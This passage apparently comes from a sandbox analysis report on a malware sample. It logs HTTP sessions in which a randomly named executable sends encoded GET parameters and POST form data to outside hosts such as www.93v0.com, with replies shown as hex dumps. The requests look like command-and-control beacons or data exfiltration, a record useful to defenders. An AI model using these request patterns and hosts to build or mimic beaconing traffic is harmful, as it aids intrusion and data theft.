52 74 75 58 39 2f 50 78 48 5a [TRUNCATED]
                                Data Ascii: 9d=GNnztYNOslY1GMgRN4F3hjORzNEyfP4clitGuqH/FVYJ5HoHDUYDJIf0jcTLK6gxEvWb7Vt2mwdH+RVaKl905zWVXPuDebZGmnJf6LCn2lE90z+/hckMKjnXIM+rJ9wjWCPzFYxsT27Q2Wu6rj/vvz1q/rkeyFummd4hndRiKKCzZkHPJU7CgRLi7ucbznyMH4wvg8CENFhUc3SAKsfM9GFCWQH6Fgi6WVbaeH1M3EI1Q/nomTJ9G66ltfkNaBkXbuBYgNMShDPt6gGr3Vrp8T1m52b+Jyt7PxBgtFxMOpssFdw86GG73RARX93YmHacoFtHSRtuX9/PxHZXagRyOIXSf1zO3vd4IMc1f0ziAs5oczOPfvCr/ie4Z5p/4Tp7stKnpDWGyTfIX1hdztHih1Tv1FJrHXrsxUr2PUi00jdJrtjojRrih0vepaRGh6H37LD4O0kSbBYeRD8eq485IfQ/PRROO3GQQrjB6WBmy1DKfGvYt1cNeDB/yIQ2JlXu60/dKZRIqqF/JecS26uHROiN4CF6Bg9r6f8V4je5QQs5U1bwOYUDUb0dLocoyupG2bvuVlzC51t7fybtvO7g8chXTVOpaGMcXvWainPv2gh1toawBFdXgWjDzi1y1i7JwwSM0izcJxZJqiRPbuP7WZ8QzZ9XmGGArKb9UGODaMk39rTSpNKQR7Q6c3SodfWxXDFV7Ufyl1Zs07R9e5ffaLg6TpZNmg0s0JmVnJzH4vIFyMbNytpd6aznO9bzgLv5yF7jwNuikFWvIENNWFrEb0u5i6qBlrOtgrpxovkoV5GH2NE4zGkTfM5W2hcIx+5XSG3cxUo5X8PFTPPo5mQw0hBFa0W2rM888Qy5YAa7rRVvJdfgOsG3oKoDYr5LGa5hBG912fotmmh5Ctr+c/wgCNHN6put8DuJ7Z5ZQh7uM3+WikJJiuvTLieJXawUso0ao3GXF3B0z3toy0jI4MW+n++YqWORT+Qq6A+DUGoTfPJsXLeTR [TRUNCATED]
                                Jun 5, 2024 18:29:36.950640917 CEST1236INHTTP/1.1 404 Not Found
                                Server: nginx
                                Date: Wed, 05 Jun 2024 16:29:36 GMT
                                Content-Type: text/html
                                Transfer-Encoding: chunked
                                Connection: close
                                Vary: Accept-Encoding
                                X-Httpd: 1
                                Host-Header: 8441280b0c35cbc1147f8ba998a563a7
                                X-Proxy-Cache-Info: DT:1
                                Content-Encoding: br
                                Data Raw: 33 37 32 30 0d 0a 55 57 47 21 8a 8a 5e 0f cb 0e 30 5c 93 7a 00 54 06 c6 ee 80 58 b6 e3 7a be fd ef 7b 7f 7e ce 7b 32 ba 85 43 da 67 69 87 c8 ff fc 32 2d 3b 3f ec 2c 57 31 51 3d 3d 40 c2 7d 41 01 94 ab fd ff b7 69 15 92 ec 01 74 67 1d ce 2e 87 1b 6f 04 00 31 71 de be ef bf f7 7b 7e 49 76 ef 97 e1 9c 92 ba fb 9c d2 a0 3c 28 37 da 0b 55 5f 55 35 65 b5 dd 2b 43 03 c1 20 c9 83 9e 45 0c 37 c9 19 c3 60 92 70 29 c8 82 0d 17 fe ff 7f ef e7 27 2d 87 8c 8c 3e 80 86 1f 21 87 84 52 06 50 be 67 cf b9 db 4f 69 8c e7 5c ce 6a 64 9b 09 1a dd b7 54 67 8f ea 9c d5 4c 0e 19 3b 63 dc 2a e2 74 19 f0 29 6b 03 46 d9 07 f2 d7 78 ad 79 5c df ed 3f 09 8a 05 01 f1 1a bc ff cb e4 3d 57 ec 60 d5 c1 c2 2f a9 f5 a7 60 93 c2 ff de d7 f7 5b fb 78 be e4 29 0d 08 2f 36 37 45 41 32 94 f9 e6 87 d5 83 9c 60 f6 2b e5 21 f1 d6 16 72 58 5c 49 f0 2f fe f4 ed 11 7f d0 b1 b8 b2 80 88 a4 c3 b6 5e 4c 64 9a 95 ff bb 16 43 b6 4e f2 c0 10 62 82 da 38 49 c0 c0 6f bf 93 1a 84 b4 f7 c5 d9 ed e3 37 38 8c 6c db b6 fd fa 8d 1c 85 0d de 7f 8a 8b b3 cf cf [TRUNCATED]
                                Data Ascii: 3720UWG!^0\zTXz{~{2Cgi2-;?,W1Q==@}Aitg.o1q{~Iv<(7U_U5e+C E7`p)'->!RPgOi\jdTgL;c*t)kFxy\?=W`/`[x)/67EA2`+!rX\I/^LdCNb8Io78lw^2gD1bAxV:6b7/g_[zYpoo/&7uP"M_*w`'K(%s-?EOZ&H~;}}|@Jfo|E9V9*\pV_3~79do#+7oon:@M86?Nn}=pe7YXB2Gr]9>Nw?pfcqov D{bVBH8MC2&2S\~W|oO 9lQR|@1azCTnkj&KS`_@,JjOhed&y:7yyiINhYU_G~6`aa/e0SAti|$uy
                                Jun 5, 2024 18:29:36.950654984 CEST212INData Raw: 0e 5f 12 82 a3 d0 99 8c cf 43 95 b8 7d b8 f0 6f d9 d2 6b c4 18 5d b7 b8 32 40 26 52 58 39 69 5d c2 5f a9 d4 c1 e1 67 03 49 e6 6f 9d ad f9 b8 25 93 d9 bf c4 f1 b3 56 d6 87 6f 7f 45 69 3d 53 0a 69 8c 72 58 1e 7b 2a db 55 1b 17 f7 09 25 90 8e 3c 93
                                Data Ascii: _C}ok]2@&RX9i]_gIo%VoEi=SirX{*U%<RZ\PcU4>a<\$&9:R^_-Xmew}Zo:keI66X2"rcV-K3x
                                Jun 5, 2024 18:29:36.950803041 CEST1236INData Raw: 96 d9 3c eb ec b7 9c 6b c5 eb 37 6f 53 2d f3 6b 8e fb a3 6c 37 17 67 57 93 8a 1a a7 54 b0 ce 51 04 5e 42 d5 bf 47 26 26 59 c8 c8 a5 8a 51 7b c7 ad 6a 49 60 5a 74 58 ed e5 a4 41 87 b4 46 4b 96 b3 d4 0c 0d 68 42 ef 9a 80 67 d0 30 72 81 1c 07 5e 54
                                Data Ascii: <k7oS-kl7gWTQ^BG&&YQ{jI`ZtXAFKhBg0r^T-1[jsZl?[v13(ymOTO:nh!dJ;.=\w |(]X>*h2f5RU/)z@kHTQQs
                                Jun 5, 2024 18:29:36.950815916 CEST1236INData Raw: b8 ea d1 31 13 54 23 71 5c b3 04 a2 e5 8a 41 a7 55 4a 61 fd 06 12 b1 32 c1 d2 09 9c 32 c1 d5 80 4b 41 82 7d 65 93 5c ea 8e a6 9b c2 48 cd 44 d2 2b c1 1a af 4d d8 62 7e 85 58 af df 19 33 9a 52 a6 e3 da 5d 49 3c 98 ab 0b d5 43 86 c3 2c 65 1c 27 4d
                                Data Ascii: 1T#q\AUJa22KA}e\HD+Mb~X3R]I<C,e'MX8mt4?xI.s~MM}<LA</w;Lmc<l=j,wg6z9rX1p2T*$./S$9a]){,Md^&9#
                                Jun 5, 2024 18:29:36.950959921 CEST1236INData Raw: e1 24 63 08 1f 85 1b a2 0a ff d1 c4 0d 27 8f aa 23 15 5a 6b 1a ae f3 d5 4e 1e 8a e9 0a d7 1a 87 b2 ca 73 72 50 f9 54 a4 d9 4e d7 a3 81 bc 61 bf 54 67 fa b0 ac 3f 85 b9 18 a8 74 32 59 26 22 83 4c a8 c0 47 09 87 54 09 8f a8 50 7b ec a0 c3 a1 90 8e
                                Data Ascii: $c'#ZkNsrPTNaTg?t2Y&"LGTP{HQ@ *$p(JD(%'p<'"M"ds+Vla9A6@z2%`'}a`Pjt3DQd'$8]aQ3+8&-"
                                Jun 5, 2024 18:29:36.950973034 CEST636INData Raw: a1 96 e0 10 8a 25 4d 88 19 42 35 01 81 e4 98 10 12 10 1d 40 8b 1a 10 12 10 1d 05 c5 a2 61 40 48 00 34 00 2d e9 01 ea 3b 80 cb fa 94 82 fb da 2e 68 9b 5b e1 bf 5d ae b2 9e 6e 7c fd b4 d0 9a eb 22 1c 77 29 5f 62 d7 90 4b dc 90 fd ff b6 2d 64 ca 41
                                Data Ascii: %MB5@a@H4-;.h[]n|"w)_bK-dA:(;Q-pj@kBR;&]04Cu*.8N*IsehC[~`X,i n`X!18hG[~CkX,sR-i z,kV3ZC(4!f
                                Jun 5, 2024 18:29:36.950985909 CEST1236INData Raw: 80 77 5f ac 0e 88 2e 0f 29 8e fe dc bb de f2 33 ba cf 6b 56 eb 07 9a 8e fd 6a 2f f2 c9 f5 be 6c 76 41 5b b3 59 bf a3 ba 13 c7 ef b4 ef d6 fc 84 63 cb 83 63 b7 db 95 ef 42 d5 f1 51 5e ff 7e 9d f9 e2 ee 9e c4 b6 b0 b8 cb 63 a7 d7 63 8b 8a 4b fd db
                                Data Ascii: w_.)3kVj/lvA[YccBQ^~ccK@{WR;9>4G3wf8~W]|Os7O\;"CHB}=%%!USR-:v=zUo[p+za9&>Bhi6p$yL,A
                                Jun 5, 2024 18:29:36.950997114 CEST212INData Raw: 73 92 27 68 e0 06 10 c0 49 22 00 4e 08 f6 81 8e 2c 44 27 1c d0 26 a7 7d dd 27 8f a4 fd 16 5a e6 e7 b8 2b cc ea 15 9a 0b 8e a0 7d 11 00 a4 01 ec 40 9e a0 01 11 00 24 02 00 08 f6 01 21 00 d0 5e 70 24 8d 89 a6 66 a0 6f 59 fb ea 69 e6 48 e6 fd 96 66
                                Data Ascii: s'hI"N,D'&}'Z+}@$!^p$foYiHf}@$!^p$yyczr?,*{MV:EyD @{/Dh_'?t xA-
                                Jun 5, 2024 18:29:36.951143980 CEST1236INData Raw: 5c 0b bc 38 82 f6 97 77 31 47 48 71 d5 c4 62 15 90 d6 aa 2d 8e 60 de 17 01 50 59 28 1f cc 94 16 69 82 7d 40 04 40 e5 a1 7a 80 ca 82 60 1f 10 82 82 e2 d1 5c 85 c5 91 ec fb 42 50 50 3c 9a 57 5d 91 26 69 5f 08 8a aa 1d ad 55 56 1c c1 bc 2f 27 16 39
                                Data Ascii: \8w1GHqb-`PY(i}@@z`\BPP<W]&i_UV/'9dHXMe.=h%.&'$eDND:I`x8940hI;/W))KOg4i@jX!TH!!QP,@vTg
                                Jun 5, 2024 18:29:36.951158047 CEST1236INData Raw: 2d d9 bb 32 0c be f3 d8 9f 48 d7 a5 42 88 ec a9 35 66 f4 4e 33 cc ff f2 b4 1e e1 f0 c4 ef 56 5e 93 4a a2 67 2d 31 53 f0 d8 f4 70 33 de ce 84 ff f8 ff 4a 3a 8c 2b a3 65 ad 30 a3 0f 04 8f eb ce 64 c7 17 9c 8f f3 d7 5b 12 8a 4f ee 0d 8e b5 c2 8c 8e
                                Data Ascii: -2HB5fN3V^Jg-1Sp3J:+e0d[O}s~O{?F#k'vVCWmLIJ=t4*+%y*hzIl++h)h]iD-_z[)gSKCSYK{%yPn"V<[fE`KKcJCAJl8H~SRt
                                Jun 5, 2024 18:29:36.958611012 CEST1236INData Raw: ae af d6 33 7d ff 9f 31 76 82 f5 2c 4c fe 43 cc 31 7c e0 fb c7 7f 50 cc 7f 7a a3 61 3d 72 13 4b 4c 3c 88 12 f3 f6 b6 85 cd 78 60 1a 82 69 d6 01 2a 0b 09 1f 15 13 49 a8 8b 10 8f 24 6b 05 39 c8 12 6d 20 05 75 29 08 66 86 b5 80 0c 24 5a 96 6c 27 a0
                                Data Ascii: 3}1v,LC1|Pza=rKL<x`i*I$k9m u)f$Zl'B8%K?;9rW+W'<Nn{uq#es!=RMMbl-.qmupWV^%Txb?&d>Gov*)n/;x}n[1^rjf


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                37192.168.2.74974735.214.235.206804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:29:38.655515909 CEST448OUTGET /4iea/?9d=LPPTutp79E4NI/FTL4slzgCz9Mw5fMldsgpq5qffN1EY6wk4NmMiGrfPgNjCGewOe8/3zUEWliAlmzRgBncp/x6QXeu+cIhmsENqwLKbzAke2hCAvuJuIziLbcuyQtVHWzDtEtwuFhDD&G0a=VFN0vBc0ol1ljnb0 HTTP/1.1
                                Host: www.grecanici.com
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Jun 5, 2024 18:29:39.487042904 CEST1236INHTTP/1.1 404 Not Found
                                Server: nginx
                                Date: Wed, 05 Jun 2024 16:29:39 GMT
                                Content-Type: text/html
                                Transfer-Encoding: chunked
                                Connection: close
                                Vary: Accept-Encoding
                                X-Httpd: 1
                                Host-Header: 6b7412fb82ca5edfd0917e3957f05d89
                                X-Proxy-Cache: MISS
                                X-Proxy-Cache-Info: 0 NC:000000 UP:
                                Data Raw: 31 33 64 34 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 73 74 6f 72 65 2c 6d 61 78 2d 61 67 65 3d 30 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 [TRUNCATED]
                                Data Ascii: 13d49<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="cache-control" content="no-store,max-age=0" /> <meta name="robots" content="noindex" /> <title>404 - Not found</title> <link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700%7CRoboto:400,700" rel="stylesheet"><style> * { box-sizing: border-box; -moz-box-sizing: border-box; -webkit-tap-highlight-color: transparent; } body { margin: 0; padding: 0; height: 100%; -webkit-text-size-adjust: 100%; } .fit-wide { position: relative; overflow: hidden; max-width: 1240px; margin: 0 auto; padding-top: 60px; padding-bottom: 60px; padding-left: 20px; padding-right: 20px; } .background-wrap { position: rel
                                Jun 5, 2024 18:29:39.487085104 CEST1236INData Raw: 61 74 69 76 65 3b 20 7d 0a 20 20 20 20 2e 62 61 63 6b 67 72 6f 75 6e 64 2d 77 72 61 70 2e 63 6c 6f 75 64 2d 62 6c 75 65 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 62 30 65 30 65 39 3b 20 7d 0a 20 20 20 20 2e 62 61 63 6b 67
                                Data Ascii: ative; } .background-wrap.cloud-blue { background-color: #b0e0e9; } .background-wrap.white { background-color: #fff; } .title { position: relative; text-align: center; margin: 20px auto 10px; } .ti
                                Jun 5, 2024 18:29:39.487119913 CEST344INData Raw: 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 7d 0a 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 65 72 72 6f 72 2d 2d 62 67 5f 5f 63
                                Data Ascii: in: 0 auto; } @media screen and (max-width: 767px) { .error--bg__cover { display: none; } .abstract-half-dot--circle { left: 0; } }</style></head><body> <div id="container"> <section class="error cont
                                Jun 5, 2024 18:29:39.487289906 CEST1236INData Raw: 2d 2d 62 67 5f 5f 63 6f 76 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 76 67 20 69 64 3d 22 61 63 63 65 37 36 37 30 2d 39 30 34 66 2d 34 66 38 63 2d 62 38 36 37 2d 36 38 31 33 38 63 32 66 38 63 30 36 22 20 64
                                Data Ascii: --bg__cover"> <svg id="acce7670-904f-4f8c-b867-68138c2f8c06" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1019 467"><title>404_bg</title><path d="M962.794,62.029a11.471,11.471,0,0,1-.656-22.923h0a11.4
                                Jun 5, 2024 18:29:39.487309933 CEST1236INData Raw: 39 2c 31 30 2e 31 34 31 4c 32 38 37 2e 31 2c 32 32 37 2e 36 5a 22 20 66 69 6c 6c 3d 22 23 32 32 36 64 37 61 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 37 37 33 2e 33 31 36 2c 32 32 38 2e 33 33 61 31 2c 31 2c 30 2c 30 2c 31 2d 31 2d 31 2e 30 32 32 6c
                                Data Ascii: 9,10.141L287.1,227.6Z" fill="#226d7a"/><path d="M773.316,228.33a1,1,0,0,1-1-1.022l.571-26.14a1,1,0,0,1,1.487-.851l24.356,13.607a1,1,0,0,1-.038,1.767l-24.926,12.532A1.006,1.006,0,0,1,773.316,228.33Zm1.535-25.456-.5,22.815,21.756-10.938Z" fill="
                                Jun 5, 2024 18:29:39.487325907 CEST424INData Raw: 2e 30 30 36 61 31 2c 31 2c 30 2c 30 2c 30 2c 2e 39 36 34 2d 31 2e 32 36 39 4c 31 37 2e 38 2c 32 38 31 2e 30 36 39 61 31 2c 31 2c 30 2c 30 2c 30 2d 31 2e 39 32 37 2e 35 33 37 6c 32 2e 34 31 39 2c 38 2e 36 36 38 41 31 2c 31 2c 30 2c 30 2c 30 2c 31
                                Data Ascii: .006a1,1,0,0,0,.964-1.269L17.8,281.069a1,1,0,0,0-1.927.537l2.419,8.668A1,1,0,0,0,19.257,291.006Z" fill="#226d7a"/><path d="M13.216,264.635a6.979,6.979,0,0,0,3.394-10.8l6.242-6.052a1,1,0,1,0-1.393-1.435L15.2,252.413A7,7,0,1,0,11,265c.08,0,.158-
                                Jun 5, 2024 18:29:39.487421989 CEST1236INData Raw: 30 38 2c 30 2c 30 2c 30 2d 37 2d 37 63 2d 2e 30 38 2c 30 2d 2e 31 35 38 2e 30 30 39 2d 2e 32 33 37 2e 30 31 32 6c 2d 32 2e 31 32 33 2d 37 2e 36 30 36 61 31 2c 31 2c 30 2c 30 2c 30 2d 31 2e 39 32 37 2e 35 33 37 6c 32 2e 30 37 32 2c 37 2e 34 32 32
                                Data Ascii: 08,0,0,0-7-7c-.08,0-.158.009-.237.012l-2.123-7.606a1,1,0,0,0-1.927.537l2.072,7.422a7,7,0,1,0,8.847,8.859l7.737,2.235a1.025,1.025,0,0,0,.278.039,1,1,0,0,0,.277-1.961ZM25,318a5,5,0,1,1,5-5A5.006,5.006,0,0,1,25,318Z" fill="#226d7a"/><path d="M57.
                                Jun 5, 2024 18:29:39.487441063 CEST1236INData Raw: 2e 39 35 32 2c 30 2c 30 2c 30 2c 35 32 2c 32 32 34 5a 6d 30 2d 31 32 61 35 2c 35 2c 30 2c 31 2c 31 2d 35 2c 35 41 35 2e 30 30 36 2c 35 2e 30 30 36 2c 30 2c 30 2c 31 2c 35 32 2c 32 31 32 5a 22 20 66 69 6c 6c 3d 22 23 32 32 36 64 37 61 22 2f 3e 3c
                                Data Ascii: .952,0,0,0,52,224Zm0-12a5,5,0,1,1-5,5A5.006,5.006,0,0,1,52,212Z" fill="#226d7a"/><path d="M122,281a6.984,6.984,0,0,0-1.218.113l-2.362-8.03a1,1,0,0,0-1.919.564l2.381,8.1a6.972,6.972,0,0,0-2.492,10.427l-6.242,6.052a1,1,0,0,0,1.393,1.435l6.259-6.
                                Jun 5, 2024 18:29:39.487454891 CEST424INData Raw: 39 34 61 31 2c 31 2c 30 2c 30 2c 30 2d 31 2e 31 37 36 2c 31 2e 36 31 38 5a 22 20 66 69 6c 6c 3d 22 23 32 32 36 64 37 61 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 39 39 35 2e 37 2c 31 39 38 2e 33 36 36 61 31 2c 31 2c 30 2c 30 2c 30 2d 31 2e 31 37 36
                                Data Ascii: 94a1,1,0,0,0-1.176,1.618Z" fill="#226d7a"/><path d="M995.7,198.366a1,1,0,0,0-1.176,1.617l7.28,5.293a.986.986,0,0,0,.587.192,1,1,0,0,0,.588-1.809Z" fill="#226d7a"/><path d="M1002.5,232.72a1,1,0,0,0-1.366.365l-4.5,7.793a1,1,0,1,0,1.732,1l4.5-7.7
                                Jun 5, 2024 18:29:39.487492085 CEST1236INData Raw: 4d 39 35 31 2e 38 2c 32 32 36 2e 34 61 31 2c 31 2c 30 2c 30 2c 30 2d 31 2e 36 2c 31 2e 32 6c 35 2e 34 2c 37 2e 32 61 31 2c 31 2c 30 2c 31 2c 30 2c 31 2e 36 2d 31 2e 32 5a 22 20 66 69 6c 6c 3d 22 23 32 32 36 64 37 61 22 2f 3e 3c 70 61 74 68 20 64
                                Data Ascii: M951.8,226.4a1,1,0,0,0-1.6,1.2l5.4,7.2a1,1,0,1,0,1.6-1.2Z" fill="#226d7a"/><path d="M962.6,240.8A1,1,0,0,0,961,242l5.4,7.2A1,1,0,0,0,968,248Z" fill="#226d7a"/><path d="M931.091,198.789a6.943,6.943,0,0,0,1.777-6.129l7.473-4.185a1,1,0,1,0-.977-1
                                Jun 5, 2024 18:29:39.492165089 CEST1236INData Raw: 35 2e 30 30 36 2c 30 2c 30 2c 31 2c 31 30 31 32 2c 32 31 37 5a 22 20 66 69 6c 6c 3d 22 23 32 32 36 64 37 61 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 39 38 32 2c 32 36 31 61 36 2e 39 34 31 2c 36 2e 39 34 31 2c 30 2c 30 2c 30 2d 33 2e 35 32 37 2e 39
                                Data Ascii: 5.006,0,0,1,1012,217Z" fill="#226d7a"/><path d="M982,261a6.941,6.941,0,0,0-3.527.964L973.4,255.2a1,1,0,1,0-1.6,1.2l5.109,6.812A6.99,6.99,0,1,0,982,261Zm0,12a5,5,0,1,1,5-5A5.006,5.006,0,0,1,982,273Z" fill="#226d7a"/><path d="M19,32H11V24a1,1,0,


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                38192.168.2.74974818.178.206.118804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:29:53.513837099 CEST690OUTPOST /hcaw/ HTTP/1.1
                                Host: www.93v0.com
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 215
                                Origin: http://www.93v0.com
                                Referer: http://www.93v0.com/hcaw/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 61 59 52 66 69 5a 70 71 69 6e 6b 42 33 75 42 44 65 74 77 74 76 68 52 70 78 72 53 67 58 33 4a 46 2f 56 75 67 4b 50 31 36 42 41 63 59 75 6f 69 43 6d 37 65 6d 4c 6b 68 5a 33 32 6c 61 50 34 6e 4b 31 50 47 6b 76 63 72 44 51 53 64 64 32 67 7a 68 6a 69 6e 49 6c 58 6e 57 30 4d 73 2b 74 79 4c 59 7a 4d 32 54 39 5a 72 4b 74 4a 74 74 36 66 41 33 43 44 2b 79 6a 44 55 36 5a 2b 2f 59 6f 61 57 56 4f 56 39 58 65 4d 33 32 71 48 66 47 66 47 34 37 65 74 61 54 4f 7a 4f 72 36 6e 7a 4c 4a 51 72 4c 76 6e 66 75 74 39 69 34 42 51 42 39 41 4c 6d 5a 32 78 37 75 6d 73 38 62 32 7a 6c 53 57 37 37 4f 71 39 34 50 49 4a 4c 37 6b 4b 48 58 69 36 68 4c 50 41 3d 3d
                                Data Ascii: 9d=aYRfiZpqinkB3uBDetwtvhRpxrSgX3JF/VugKP16BAcYuoiCm7emLkhZ32laP4nK1PGkvcrDQSdd2gzhjinIlXnW0Ms+tyLYzM2T9ZrKtJtt6fA3CD+yjDU6Z+/YoaWVOV9XeM32qHfGfG47etaTOzOr6nzLJQrLvnfut9i4BQB9ALmZ2x7ums8b2zlSW77Oq94PIJL7kKHXi6hLPA==
                                Jun 5, 2024 18:29:54.513753891 CEST367INHTTP/1.1 404 Not Found
                                Date: Wed, 05 Jun 2024 16:29:54 GMT
                                Server: Apache
                                Content-Length: 203
                                Connection: close
                                Content-Type: text/html; charset=iso-8859-1
                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 68 63 61 77 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /hcaw/ was not found on this server.</p></body></html>


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                39192.168.2.74974918.178.206.118804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:29:56.051960945 CEST710OUTPOST /hcaw/ HTTP/1.1
                                Host: www.93v0.com
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 235
                                Origin: http://www.93v0.com
                                Referer: http://www.93v0.com/hcaw/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 61 59 52 66 69 5a 70 71 69 6e 6b 42 78 50 52 44 59 4f 59 74 6b 68 52 32 39 4c 53 67 43 48 4a 42 2f 56 53 67 4b 4f 42 55 41 32 6b 59 74 4a 53 43 68 36 65 6d 43 30 68 5a 2f 57 6c 44 42 59 6e 2f 31 50 4c 45 76 64 37 44 51 53 4a 64 32 69 37 68 69 52 50 58 6e 48 6d 77 34 73 73 77 79 69 4c 59 7a 4d 32 54 39 61 58 73 74 4a 6c 74 37 75 77 33 44 6d 4c 6b 38 7a 55 31 50 4f 2f 59 6a 36 58 53 4f 56 38 43 65 4a 75 6a 71 45 33 47 66 44 55 37 65 2f 2b 51 41 7a 4f 58 30 48 79 70 41 52 32 52 6c 46 7a 4d 6e 74 53 66 41 44 51 59 42 39 37 37 73 54 33 43 34 39 45 67 79 78 42 6b 42 64 6d 37 6f 38 38 58 46 72 2f 61 37 39 69 39 76 6f 41 50 5a 77 42 4f 6a 4d 75 59 46 46 4a 70 68 63 38 6d 6a 58 53 61 34 62 4d 3d
                                Data Ascii: 9d=aYRfiZpqinkBxPRDYOYtkhR29LSgCHJB/VSgKOBUA2kYtJSCh6emC0hZ/WlDBYn/1PLEvd7DQSJd2i7hiRPXnHmw4sswyiLYzM2T9aXstJlt7uw3DmLk8zU1PO/Yj6XSOV8CeJujqE3GfDU7e/+QAzOX0HypAR2RlFzMntSfADQYB977sT3C49EgyxBkBdm7o88XFr/a79i9voAPZwBOjMuYFFJphc8mjXSa4bM=
                                Jun 5, 2024 18:29:57.068013906 CEST367INHTTP/1.1 404 Not Found
                                Date: Wed, 05 Jun 2024 16:29:56 GMT
                                Server: Apache
                                Content-Length: 203
                                Connection: close
                                Content-Type: text/html; charset=iso-8859-1
